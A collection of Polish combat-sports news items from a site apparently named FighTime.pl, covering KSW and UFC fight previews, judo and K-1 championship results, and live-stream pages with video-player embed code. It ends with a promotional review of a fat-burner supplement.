We Wrocławiu poznamy mistrza wagi ciężkiej. O miano najlepszego będą walczyć Michał Andryszak i Philip de Freis. 31-letni Anglik jest nowym nabytkiem KSW, ma za sobą występy w UFC. Ostatnio de Fries rywalizował na gali Bellator 191, podczas której pokonał w pierwszej rundzie Jamesa Thompsona. Z kolei Michał Andryszak po powrocie do KSW prezentuje się wyśmienicie. Dwie wygrane w pierwszych rundach – to najlepsze świadectwo możliwości Polaka. W ostatnim starciu Andryszak bardzo szybko, w zaledwie 26 sekund!, uporał się z Fernando Rodriguesem Jr. Potężny prawy, a następnie seria ciosów w parterze sprawiły, że Brazylijczyk przez chwilę leżał nieruchomo na deskach. Polak podkreśla, że zmierza po pas. Czy Anglik mu zagrozi? De Fries zapewnia, że walka nie potrwa długo. Czy temperatura sięgnie zenitu?

Trzecią walkę w MMA stoczy Damian Janikowski. Czy ponownie zaprezentuje się efektownie i wygra przed czasem? Były zapaśnik zmierzy się z Yannickiem Bahatim, który ma za sobą dwie porażki z rzędu. Ostatnio wygrał w maju 2017. Jednak Bahati to doświadczony zawodnik, który był mistrzem takich organizacji jak EFC i BAMMA.

Artur Sowiński będzie walczył o zwycięstwo w starciu z 20-letni Salahdinem Parnasse. Trzy porażki z rzędu zanotował Łukasz Chlewicki. "Sasza" postara się przerwać tę fatalną serię, ale Norman Parke nie ułatwi mu zadania.

Karta walk KSW 43:

Damian Janikowski – Yannick Bahati

Michał Andryszak – Philip de Freis

Roberto Soldic – Dricus Du Plessis

Artur Sowiński – Salahdine Parnasse

Łukasz Chlewicki – Norman Parke

Michał Michalski – David Zawada

Kamil Selwa – Antun Racic

Maciej Kazieczko – Maciej Kaliciński

Fot. Facebook Michał „Longer” Andryszak

KM

Hit w Ergo Arenie

Od dawna mówiło się o potencjalnej walce Mariusza Pudzianowskiego z Karolem Bedorfem. Klamka zapadła – fighterzy spotkają się 9 czerwca w walce wieczoru gali KSW 44 w Ergo Arenie w Gdańsku.

Historia zaczęła się od wyzwania, które Pudzianowski rzucił byłemu mistrzowi wagi ciężkiej. Pierwotnie mówiło się, że do pojedynku może dojść podczas gali KSW 42 w Łodzi. Tak się jednak nie stało. Wszyscy jednak czekali, kiedy właściciele KSW ogłoszą hitowe starcie. Zapowiadano, że do spotkania Pudzianowskiego i Bedorfa dojdzie najpóźniej w połowie roku. Zatem 9 czerwca przekonamy się, który z zawodników ma większą moc i dopisze kolejną wygraną do swojego rekordu.

Dwóch potężnych wojowników, którzy postawią na szali wszystko. Zwycięzca prawdopodobnie utoruje sobie drogę do rywalizacji o pas mistrzowski w wadze ciężkiej. Z pewnością za tytułem tęskni Karol Bedorf. 34-letni szczecinianin był najdłużej panującym mistrzem wagi ciężkiej w historii KSW. Tytuł wywalczył pokonując legendę polskiego judo Pawła Nastulę. We wrześniu 2013 roku Bedorf zasiadł na tronie odprawiając rywala w drugiej rundzie. Po potężnym ciosie szczecinianina, Nastula znalazł się za linami. Bedorf trzykrotnie udanie bronił pasa mistrzowskiego i co istotne – za każdym razem wygrywał przed czasem. W końcu trafił na rywala, który znalazł na niego sposób. W Krakowie (KSW 37) Bedorf przegrał w drugiej rundzie z Fernando Rodriguesem Jr.

Mariusz Pudzianowski również może pochwalić się odprawieniem Pawła Nastuli. Jednak ma mniejsze doświadczenie w MMA niż rywal, z którym przyjdzie mu się zmierzyć 9 czerwca. Wszyscy pamiętają debiut Pudzianowskiego w KSW, kiedy to na gali numer dwanaście szybko rozprawił się z Marcinem Najmanem. Początki Pudzianowskiego w MMA to sinusoida, jednak z każdą walką były strongman nabierał ogłady i pewności siebie. Wygrana walka rewanżowa z Sean'em McCorkle'm była początkiem zwycięskiej passy. Polak triumfował w czterech kolejnych pojedynkach, jednak zatrzymali go Peter Graham i Marcin Różalski. Obecnie Pudzianowski jest w gazie po trzech wygranych walkach z rzędu.

Zanim dojdzie do gali KSW 44, najpierw emocje we Wrocławiu. 14 kwietnia w Hali Stulecia KSW 43. W akcji zobaczymy m.in. Damiana Janikowskiego, Artura Sowińskiego czy Łukasza Chlewickiego. W walce wieczoru spotkają się Roberto Soldić i Dricus Du Plessis, a stawką pojedynku będzie pas mistrzowski w kategorii półśredniej należący do Chorwata.

Fot. Mariusz Pudzianowski Facebook

KM

 

Czy Jędrzejczyk powróci na tron?

To pytanie zadają sobie kibice MMA, którzy odliczają godziny do rewanżowej walki Joanny Jędrzejczyk z Rose Namajunas. Na gali UFC 223 w Barclays Center zaprezentuje się również Karolina Kowalkiewicz.

7 kwietnia będzie prawdziwym testem dla Rose Namajunas. Tak, właśnie dla mistrzyni wagi słomkowej UFC. Przede wszystkim skupiamy się na Joannie Jędrzejczyk i sercem jesteśmy z nią. Polka ma szansę wrócić na szczyt, jednak to na Namajunas spoczywa dodatkowa presja. Mistrzyni musi udowodnić, że na tytuł zasłużyła i ma mentalność zwyciężczyni. Podczas konferencji prasowej przed walką Namajunas mówiła mało. To nic złego. W końcu chodzi o to, aby swoje atuty pokazać w oktagonie. Pokonując w listopadzie ubiegłego roku Jędrzejczyk, 25-latka weszła do pierwszej ligi kobiecego MMA.

Jak wyglądała pierwsza walka? Amerykanka odważnie ruszyła na Polkę i zdominowała ją. W pierwszej rundzie Namajunas trafiła Jędrzejczyk lewym sierpowym na szczękę, a potem nie miała litości w parterze i olsztynianka odklepała. Z pewnością Polka wyciągnęła wnioski z pierwszej porażki w karierze i nie będzie za wszelką cenę dążyła do wymian, które mogą mieć fatalne skutki. Jędrzejczyk umie gospodarować siłami i ugryźć w odpowiednim momencie.

30-letnia Polka pięć razy skutecznie broniła pasa mistrzowskiego, łącznie wygrała osiem walk w UFC. To są atuty przemawiające na korzyść Jędrzejczyk. Jednak teraz mistrzynią jest Namajunas, która potrafi w efektowny sposób zakończyć walkę. Druga odsłona rywalizacji o pas wagi słomkowej coraz bliżej. Obie zawodniczki mają swoje przemyślenia, znają się doskonale. Pytanie brzmi – która wytrzyma wojnę nerwów i wykorzysta moment zawahania rywalki?

Kolejny polski akcent

Zanim do oktagonu wejdzie Joanna Jędrzejczyk, siódmy pojedynek w UFC stoczy Karolina Kowalkiewicz. Rywalką 32-letniej Polki będzie Felice Herrig. 33-letnia Amerykanka jest w dobrej dyspozycji, o czym świadczą cztery wygrane z rzędu. W UFC Herrig poniosła tylko jedną porażkę. W kwietniu 2015 roku uległa Paige Van Zant. Z kolei Polka odrodziła się w ostatnim starciu, kiedy to pokonała Jodei Esquibel. Wcześniej zanotowała dwie porażki – z Joanną Jędrzejczyk i Claudią Gadelhą.

Walka wieczoru

Głównym daniem wieczoru gali UFC 223 będzie pojedynek o pełnoprawny tytuł mistrzowski kategorii lekkiej pomiędzy niepokonanym Khabibem Nurmagomedovem a Maxem Holloway'em.  Pierwotnie Rosjanin miał rywalizować z Tonym Fergusonem, ale ten zerwał więzadła w kolanie. Ale wartość pojedynku o pas nie spadła. Miejsce Fergusona zajął Max Holloway, który ostatnio dwukrotnie pokonał Jose Aldo. Jeśli wygra Amerykanin, będzie miał na swoim koncie dwa pasy mistrzowskie. Obecnie posiada tytuł w wadze piórkowej.

KM

Zanieczyszczone mięso a odwołana walka

Saul Alvarez na zakręcie. 5 maja miał stoczyć rewanżowy bój z Giennadijem Gołowkinem, ale w tle pojawiły się niedozwolone środki. Meksykanin postanowił zrezygnować z potyczki z Kazachem i podkreśla, że jest czysty. Winne zamieszania ma być zanieczyszczone mięso.

Jeszcze niedawno siedzieliśmy za świątecznymi stołami, które uginały się od nadmiaru jedzenia. Spróbowaliśmy to tego, to tamtego. Oczywiście – ze smakiem. Gorzej, że później pojawiły się bóle brzucha, zgaga i tym podobne. Mięta, lekki na wzdęcia były wtedy w cenie. Saul Alvarez, swego czasu bokserski mistrz WBC i WBA w wadze junior średniej, wpadł w tarapaty. Miał być jednym z aktorów majowego hitu, a stał się czarną owcą. Wszystko przez pozytywny wynik badań antydopingowych.

Luty. Badania antydopingowe nie pozostawiają złudzeń. W organizmie popularnego "Canelo" wykryto clenbuterol. Badania dwukrotnie dały wynik pozytywny. Komisja Sportowa Stanu Nevada podjęła decyzję o tymczasowym zawieszeniu boksera, a ostateczną decyzję Meksykanin ma poznać 18 kwietnia. Mówi się, że grozi mu roczna dyskwalifikacja.

W związku z powyższym pod znakiem zapytania stanęła rewanżowa walka Alvareza z Giennadijem Gołowkinem, którą zaplanowano na 5 maja w MGM Grand w Las Vegas. Pięściarze spotkali się we wrześniu ubiegłego roku, ale wtedy pojedynek sędziowie ocenili jako remisowy. Gołowkin zachował pasy mistrza świata w wadze średniej organizacji WBC, WBA, IBF i IBO, jednak wyraził chęć rewanżu. Alvarez nie ukrywał rozczarowania, bo jego zdaniem zaprezentował się lepiej od rywala. Wszyscy czekali na wielki rewanż, ale przeszedł on wszystkim… koło nosa. „Canelo” oficjalnie ogłosił, że rezygnuje ze starcia. Postanowił sam się wycofać, a nie czekać na decyzję komisji.

Teraz Alvarezowi pozostała walka o dobre imię. Meksykanin zapewnia, że jest czysty, a niedozwolone środki w jego organizmie to wina zanieczyszczonego mięsa. – Zawsze byłem i będę czystym zawodnikiem. Chcę przeprosić HBO, MHM, Tecaste, Hennessy, sponsorów, zaangażowanych w wydarzenie i kibiców za to, że w maju nie dojdzie do planowanej walki. W ringu nikogo nie zawiodłem i nie zawiodę – powiedział Saul Alvarez.

Meksykanin wierzy, że rewanżowe starcie z Gołowkinem jest możliwe. Tyle, że w innym terminie. 36-letni Kazach myślami jest jednak przy 5 maja. – Po raz dwudziesty będę bronił pasów 5 maja w Las Vegas. Skończmy ten teatr i zajmijmy się boksem – zaznacza Gołowkin.

Najprawdopodobniej Kazach zmierzy się w Las Vegas z Garym O'Sullivanem.

Fot. Canelo Alvarez Facebook

KM

LIVE: Mistrzostwa Polski Low-Kick, Legnica 2018 Day 1 Ring 1

Zapraszamy na transmisję telewizyjna na zywo z Mistrzostw Polski Low-Kick, które odbywają się w Legnicy.

[kod]

Mistrzostwa Polski Low-Kick Day 1 Ring 1

Mistrzostwa Polski Low-Kick Day 1 Ring 1

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live.livx",
ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Mistrzostwa Polski Low-Kick, Legnica 2018 Day 1 Ring 2

Zapraszamy na transmisję telewizyjna na zywo z Mistrzostw Polski Low-Kick, które odbywają się w Legnicy.

[kod]

Mistrzostwa Polski Low-Kick Day 1 Ring 2

Mistrzostwa Polski Low-Kick Day 1 Ring 2

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream2/live.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream2/live.livx",
ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream2/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Mistrzostwa Polski Low-Kick, Legnica 2018 Day 2 Ring 1

Zapraszamy na transmisję telewizyjna na zywo z Mistrzostw Polski Low-Kick, które odbywają się w Legnicy.

[kod]

Mistrzostwa Polski Low-Kick Day 1 Ring 2

Mistrzostwa Polski Low-Kick Day 1 Ring 2

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live.livx",
ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Mistrzostwa Polski Low-Kick, Legnica 2018 Day 2 Ring 2

Zapraszamy na transmisję telewizyjna na zywo z Mistrzostw Polski Low-Kick, które odbywają się w Legnicy.

[kod]

Mistrzostwa Polski Low-Kick Day 2 Ring 2

Mistrzostwa Polski Low-Kick Day 2 Ring 2

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream2/live.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream2/live.livx",
ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream2/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Mistrzostwa Polski Low-Kick, Legnica 2018 Final Block

Zapraszamy na transmisję telewizyjna na zywo z Mistrzostw Polski Low-Kick, które odbywają się w Legnicy.

[kod]

Mistrzostwa Polski Low-Kick Gala Finałowa

Mistrzostwa Polski Low-Kick Gala Finałowa

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live.livx",
ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

DSF Kickboxing Challenge 14 – mecz Polska vs Rosja

13 kwietnia na gali DSF Kickboxing Challenge 14 w Warszawie odbędzie się międzynarodowy mecz K-1: Polska-Rosja. Wystawiamy na to spotkanie nasze najcięższe działa: Mateusz Rajewski (65 kg), Paweł Biszczak (75 kg), Kamil Jenel (81 kg), Dawid Kasperski (86 kg) i Karol Celiński (91 kg). 

Bilety: http://bit.ly/2HmZGW6

DSF Kickboxing Challenge to nowa szata kickboxingu w Polsce. Zawodowe walki K-1, Muay Thai i Full-Contact na światowym poziomie. Śledź nas w mediach:

http://dsfchallenge.com
https://twitter.com/dsf_kickboxing
https://www.facebook.com/DSFKickboxingChallenge
https://www.instagram.com/dsfkickboxing/

[kod]

DSF 14 – Różal o walce z Le Bannerem

13 kwietnia na gali DSF Kickboxing Challenge 14 w Warszawie odbędzie się międzynarodowy mecz K-1: Polska-Rosja. Wystawiamy na to spotkanie nasze najcięższe działa: Mateusz Rajewski (65 kg), Paweł Biszczak (75 kg), Kamil Jenel (81 kg), Dawid Kasperski (86 kg) i Karol Celiński (91 kg). 

Bilety: http://bit.ly/2HmZGW6

DSF Kickboxing Challenge to nowa szata kickboxingu w Polsce. Zawodowe walki K-1, Muay Thai i Full-Contact na światowym poziomie. Śledź nas w mediach:

http://dsfchallenge.com
https://twitter.com/dsf_kickboxing
https://www.facebook.com/DSFKickboxingChallenge
https://www.instagram.com/dsfkickboxing/

[kod]

TRAILER: DSF 14 – Różalski Le Banner

Torwar zapłonie 13 kwietnia podczas gali DSF Kickboxing Challenge 14! Walka wieczoru: Marcin "Różal" Różalski kontra Jerome Le Banner. Wcześniej wystąpią gwiazdy polskiego, europejskiego i światowego K-1, a w meczu międzynarodowym reprezentacja Polski zmierzy się z Rosją!

Bilety na #DSF14 dostępne w cenie od 70 PLN na http://bit.ly/2IFK2qu oraz http://bit.ly/2HmZGW6

DSF Kickboxing Challenge to nowa szata kickboxingu w Polsce. Zawodowe walki K-1, Muay Thai i Full-Contact na światowym poziomie. Śledź nas w mediach:

http://dsfchallenge.com
https://twitter.com/dsf_kickboxing
https://www.facebook.com/DSFKickboxingChallenge
https://www.instagram.com/dsfkickboxing/

[kod]

Polacy szaleli w Sarajewie

Znakomity występ polskich judoków w Pucharze Europy juniorów w Sarajewie. Biało-czerwoni zdobyli aż trzynaście medali. Po złoto sięgnął Krzysztof Załęczny (+100kg).

Polacy zdobyli najwięcej medali spośród wszystkich nacji, które zaprezentowały się w Sarajewie, ale wywalczyli tylko jeden krążek z najcenniejszego kruszca. Dwa złota na swoim koncie zapisali Rosjanie, a po cztery Kanada i Turcja, która triumfowała w klasyfikacji medalowej.

Sarajewo okazało się szczęśliwe dla Krzysztofa Załęcznego. W ubiegłym roku 19-latek stawał na podium w Lignano i Pradze, odpowiednio drugie i trzecie miejsce. Zdobyte doświadczenie okazało się cenne, a sam zawodnik okrzepł i nabrał pewności siebie. Na początek rywalizacji w Sarajewie rozprawił się w niespełna pół minuty ze Slavenem Cadjenoviciem. Następnie Załęczny wygrał dwie walki, w tym w finałowej potyczce pokonał zawodnika gospodarzy Vasilije Vujicica i stanął na najwyższym stopniu podium.

Rok temu w Atenach, a teraz w Sarajewie. Eliza Wróblewska (70kg) sięgnęła po drugi srebrny medal w Pucharze Europy na poziomie juniorskim. Polka wygrała trzy walki przed czasem, a w finale przegrała z Shianne Gronen. Jedna wygrana walka dała srebrny medal Julii Świątkiewicz (+78kg). W obu pojedynkach Polce przyszło rywalizować z reprezentantkami Turcji.

Największy sukces w dotychczasowych startach odniósł Patryk Loziak (60kg). 19-latek wywalczył w Sarajewie srebrny medal, który dały mu trzy wygrane walki. Po blisko dwóch latach na podium zameldował się Maciej Krogulski (81kg). W maju 2016 roku w Kownie rywalizował w niższej kategorii wagowej. W Sarajewie Krogulski stanął na drugim stopniu podium, tak jak i Iwo Baraniewski (100kg).

Po brązowe medale sięgnęli: Danuta Majcher (48kg), Aleksandra Kaleta (52kg), Anna Dąbrowska (57kg), Paulina Dziopa (+78kg), Cezary Tchórzewski (73kg), Paweł Drzymał (81kg) oraz Sebastian Ołdak (90kg). Blisko podium, piąte miejsca, uplasowali się Paulina Szlachta (48kg) oraz Paweł Kejza (100kg).

Warto również wspomnieć o Urszuli Hofman (70kg), która zaprezentowała się w zawodach seniorskich w Buenos Aires. 23-letnia zawodniczka AZS AWF Wrocław start w Argentynie rozpoczęła od wygranej z Victorią Delvecchio. Po porażce z Brazylijką Amandą Oliveirą trafiła do repasaży, gdzie pokonała Amerykankę Nicole Stout. W starciu o brąz Urszula Hofman pokonała 21-letnią reprezentantkę Hondurasu Dunię Santo.

Fot. EJU/PZJudo.

KM

Młodzi pokazali pazur

Nie milkną echa mistrzostw Polski seniorów i  juniorów w K-1 Rules. Kolejna wspaniała impreza pod egidą Polskiego Związku Kickboxingu pełna sportowych emocji. Z dobrej strony pokazali się młodzi zawodnicy, którzy z impetem weszli do grona najlepszych.

Wielokrotnie powtarzamy, że doświadczenia nic nie zastąpi. Ale młodość też ma swoje prawa. Udowodnili to Robert Soboń (60kg) i Michał Burdan (75kg). 19-latkowie wywalczyli w Warszawie złote medale. Rok temu Soboń zdobywał mistrzostwo Polski juniorów, a w stolicy w finale uporał się z Dawidem Avagyanem. Mistrzowską ścieżką podąża również Burdan. W ubiegłym roku triumfował w juniorach, zaś w stolicy debiutował w gronie seniorów. Poradził sobie znakomicie, po drodze pokonał doświadczonego Piotra Sokoła, a w finale wygrał z Mateuszem Słotą. – Młodzi wchodzą do rywalizacji i dobrze sobie radzą, ale nie jest to dzieło przypadku. Zawodnicy wcześniej prezentują się na mistrzowskich imprezach na poziomie kadetów i juniorów. Zdobywają cenne doświadczenie, które później procentuje – mówi FighTime.pl Piotr Siegoczyński, prezes Polskiego Związku Kickboxingu.

Ponownie ze znakomitej strony zaprezentował się Patryk Kuryłek (57kg). Zawodnik z Kobyłki powtórzył sukces z poprzedniego roku, tak jak i reprezentanci warszawskiej Palestry Bartosz Dołbień (81kg) i Michał Bławdziewicz (+91kg). Tytuł obroniła również Ewa Pietrzykowska (56kg), która w finale stoczyła pojedynek z rywalką zza miedzy. Zawodniczka Palestry pokonała Paulinę Saczuk ze Stowarzyszenia Sportu i Rekreacji Wola.

Miano najlepszej zawodniczki przypadło Emilii Czerwińskiej (60kg) z SKF Boksing Zielona Góra, zaś wyróżnienie wśród panów otrzymał Wojciech Kazieczko (67kg) z Funfit Boxing Team Zielona Góra.

W Hali Koło w Warszawie było gorąco. – Zjechało się wielu bardzo dobrych zawodników z całej Polski. Nie jest łatwo zorganizować imprezę w Warszawie, tym bardziej cieszymy się, że nam się udało. To znakomite rozwiązanie logistyczne dla kibiców. Na trybunach zasiadło wielu z Warszawy, którzy dopingowali swoich zawodników, ale nie brakowało również osób z innych zakątków Polski. Moim zdaniem impreza była zorganizowana na wysokim poziomie. Ogromne podziękowania pragnę skierować do Urzędu Dzielnicy Wola m.st. Warszawy za udzielone nam wsparcie – podkreśla Piotr Siegoczyński.

Mistrzowie Polski seniorów K-1:

-57kg Patryk Kuryłek (MKS Wicher Kobyłka)

-60kg Robert Soboń (Sportowy Klub Kickboxing Kielce)

-63,5kg Przemysław Kacieja (SKF Boksing Zielona Góra)

-67kg Wojciech Kazieczko (Funfit Boxing Team Zielona Góra)

-71kg Łukasz Kaczmarczyk (KS Gym Fight Wrocław)

-75kg Michał Burdan (Klub Kyokushin-kan Karate Do w Chełmie)

-81kg Bartosz Dołbień (Palestra Warszawa)

-86kg Maksymilian Bratkowicz (KS Gym Fight Wrocław)

-91kg Tomasz Konieczny (KS Oyama Rzeszów)

+91kg Michał Bławdziewicz (Palestra Warszawa)

-48kg Karolina Kubiak (Łaski Klub Sztuk Walki)

-52kg Sandra Drabik (Sportowy Klub Kickboxing Kielce))

-56kg Ewa Pietrzykowska (Palestra Warszawa)

-60kg Emilia Czerwińska (SKF Boksing Zielona Góra)

-65kg Pola Rogala (Stowarzyszenie Sportu i Rekreacji Wola Warszawa)

-70kg Kamila Bałanda (Champion Gdańsk)

KM

Pacut: Jestem zadowolona z tego wyniku

Beata Pacut (78kg) ma za sobą debiut w zawodach rangi Grand Slam w judo. W Jekaterynburgu, w swoim pierwszym starcie w sezonie, Polka zajęła 5. miejsce. – Starałam się myśleć o tym turnieju jako o starcie jednym z wielu – podkreśla judoczka.

W Rosji Beata Pacut pokonała Chloe Dollin i Albinę Amangeldiyevą, w półfinale zatrzymała ją Rika Takayama. W starciu o brąz lepsza od Polki okazała się Maria Anna Wagner. – Był to mój pierwszy start w zawodach rangi Grand Slam. Cały czas starałam się myśleć o tym turnieju jako o starcie jednym z wielu. Za chwilę rozpoczynają się kwalifikacje olimpijskie, więc takie zawody będą często i staną się „normalnością”. W związku z tym nie chciałam wyolbrzymiać rangi występu w Rosji, aby nie budować sama sobie dodatkowej presji. Stwierdziłam, że muszę podejść do tego na luzie. Ostatnio też startowałam pierwszy raz w Grand Prix w Uzbekistanie. Zajęłam tam 2. miejsce, więc byłam dobrej myśli – przedstawia FighTime.pl Beata Pacut.

22-latka zapisała na swoim koncie kolejne doświadczenie. Na własnej skórze mogła poznać smak Grand Slam. Pacut podkreśla, że osiągnięty w Jekaterynburgu wynik jest dla niej zadowalający. – Był to nie tylko mój debiut w Grand Slamie, ale również pierwszy start w tym roku. W okresie zimowym skupialiśmy się na treningach siłowych, potem przechodzimy do treningów specjalistycznych i wytrzymałościowych, a więc w Rosji miałam start sprawdzający. Jestem zadowolona z 5. miejsca. Wiadomo, że pozycja medalowa bardziej by mnie ucieszyła. Taki jest sport i ważne, że wiem nad czym muszę jeszcze popracować – zaznacza Pacut.

Na analizę startu w Rosji judoczka nie ma zbyt wiele czasu. Niebawem Pacut czeka kolejny występ, do którego musi się należycie przygotować. – Już za dwa tygodnie, dokładnie w Niedzielę Wielkanocną, startuję w kolejnym Grand Prix w Gruzji. Prosto z Tibilisi lecę do Taty (Węgry), gdzie odbędzie się camp treningowy. Po nim dwa dni w domu na przepakowanie torby i ruszam do Zakopanego na obóz bezpośrednio przygotowujący do Mistrzostw Europy, które odbędą się pod koniec kwietnia w Tel Awiwie – wylicza najbliższe plany 22-letnia Polka.

KM

Otarły się o podium

Agata Ozdoba-Błach (63kg) oraz Beata Pacut (78kg) zajęły piąte miejsca w turnieju Grand Slam w judo w Jekaterynburgu. Za nami również Mistrzostwa Polski Juniorów w Bytomiu, w których najlepsi okazali się gospodarze.

Brązowa medalistka mistrzostw świata odniosła pierwsze zwycięstwo w tym roku. Wcześniej startowała w Dusseldorfie, gdzie szybko pożegnała się z rywalizacją. W Rosji Ozdoba-Błach uporała się z Cloe Yvin, a następnie z ubiegłoroczną zwyciężczynią zawodów w Jekaterynburgu Martyną Trajdos. Przeszkodą nie do przejścia dla Polki okazała się Aimi Nouchi. Należy wspomnieć, że 22-letnia Japonka wygrała zawody w Rosji. W starciu o brąz Ozdoba-Błach spotkała się z Edwige Gwend, którą pokonała w ubiegłorocznych mistrzostwach świata. Tym razem 28-letnia Włoszka zrewanżowała się Polce i wywalczyła brąz. Gwend po raz drugi w tym roku stanęła na najniższym stopniu podium.

Debiut w zawodach rangi Grand Slam zaliczyła Beata Pacut. Brązowa medalistka ubiegłorocznych Młodzieżowych Mistrzostw Europy mocno weszła w turniej. Polka przed czasem wygrała z Chloe Dollin, a następnie z Albiną Amangeldiyevą. Pacut zatrzymała się w półfinale na Rice Takayamie, z którą wygrała przed czterema laty podczas mistrzostw świata juniorek. Tym razem ze zwycięstwa cieszyła się Japonka. 22-letniej Polce pozostała walka o brąz, jednak lepsza okazała się mistrzyni Europy U23 Anna Maria Wagner.

Siódme miejsce w Jekaterynburgu zajęła Agata Perenc (52kg). Tym samym powtórzyła wynik osiągnięty w Dusseldorfie. Na początek Polka pokonała Darię Bobrikovą, a kolejne dwa pojedynki przegrała.

Gospodarze najlepsi w Bytomiu

Pięć złotych krążków wywalczyli reprezentanci GKS Czarnych Bytom w mistrzostwach Polski. Złote medale zawisły na szyjach: Natalii Kropskiej (63kg), Pauliny Dziopy (+78kg), Patryka Łoziaka (60kg), Kacpra Kaczora (66kg) oraz Paweł Drzymał (81kg).

Triumfatorzy Mistrzostw Polski Juniorów:

-44kg Izabela Olejnik (KS Akademia Judo Poznań)

-48kg Marta Kuraś (UKS Judo Wolbrom)

-52kg Aleksandra Kaleta (UKS Judo Wolbrom)

-57kg Anna Dąbrowska (MKS Juvenia Wrocław)

-63kg Natalia Kropska (GKS Czarni Bytom)

-70kg Eliza Wróblewska (KS Akademia Judo Poznań)

-78kg Wiktoria Tomczak (MKS Olimpijczyk Włocławek)

+78kg Paulina Dziopa (GKS Czarni Bytom)

 

-55kg Piotr Zaborowski (UKJ ASzWoj Warszawa)

-60kg Patryk Łoziak (GKS Czarni Bytom)

-66kg Kacper Kaczor (GKS Czarni Bytom)

-73kg Cezary Tchórzewski (AZS AWF Katowice)

-81kg Paweł Drzymał (GKS Czarni Bytom)

-90kg Michał Jackiewicz (UKJ ASzWoj Warszawa)

-100kg Paweł Kejza (KS Kejza Team Rybnik)

+100kg Krzysztof Załęczny (TKS Judo Toruń)

 

Fot. Zdjęcie poglądowe

KM

LIVE: Mistrzostwa Polski K-1, Warszawa 2018 – Dzień 1 Ring2

Zapraszamy na transmisję telewizyjna na zywo z Mistrzostw Polski K-1, które odbywaja sie w Warszawie.

[kod]

RING 2

Mistrzostwa Polski K-1, Warszawa 2018

Mistrzostwa Polski K-1, Warszawa 2018

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MP_K1_2.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MP_K1_2.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MP_K1_2.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MP_K1_2.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: Mistrzostwa Polski K-1, Warszawa 2018 – Dzień 2 Ring2

Zapraszamy na transmisję telewizyjna na zywo z Mistrzostw Polski K-1, które odbywaja sie w Warszawie.

[kod]

RING 2

Mistrzostwa Polski K-1, Warszawa 2018

Mistrzostwa Polski K-1, Warszawa 2018

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MP_K1_2.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MP_K1_2.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MP_K1_2.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MP_K1_2.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Spalacz tluszczu REDOX – poznaj naszą opinię

Coraz częściej szukając efektywnego spalacza tłuszczu, spotykamy się ze wzmiankami o produkcie Allnutrition Redox Extreme. Jak sugeruje producent, suplement ten jest obecnie najlepszą opcją, aby pozbyć się nadmiaru tłuszczu z organizmu, co stanowi dobrą alternatywę dla produktów obecnych na rynku od kilku lat. Jak piszą użytkownicy forum SFD, dzięki produktowi Redox Extreme, udało się im schudnąć do pułapu, który wyznaczyli sobie jako cel, a pomoc wykwalifikowanych dietetyków i trenerów, którą otrzymali po zakupie suplementu, znacznie przyspieszyła efekty redukcji.

Przyglądając się więc produktowi, naszą uwagę przykuł fakt, że kupując suplement diety, nie tylko otrzymujemy sam spalacz Redox Extreme, ale i pomoc dietetyka/trenera, który ustali nam dietę, jak i sposób, w jaki mamy trenować. Jest to dość nietypowe rozwiązanie, jak na sprzedaż suplementu diety, które wymaga podkreślenia. Co więcej, jak wyczytać możemy w sklepie SFD, do produktu dołączony jest fałdomierz wraz z instrukcją wykonywania pomiarów, który pozwoli nam na kontrolowanie efektów.

Patrząc z kolei stricte na skład spalacza Redox Extreme, zauważyć można, że pierwszą substancją, która jest wyszczególniona i która ma działać silnie termogenicznie, jest opatentowana forma kapsaicyny w postaci capsimax. Substancja ta, dodatkowo będzie blokować apetyt, jak i wspomagać wrażliwość insulinową, co wskazuje szerokie spektrum działania spalacza. Dodatkowo chrom i wyciąg z cynamonu, mają za zadanie wesprzeć działanie podtrzymujące gospodarkę cukrową, co zapobiega efektowi ponownemu magazynowaniu energii w postaci tkanki tłuszczowej.

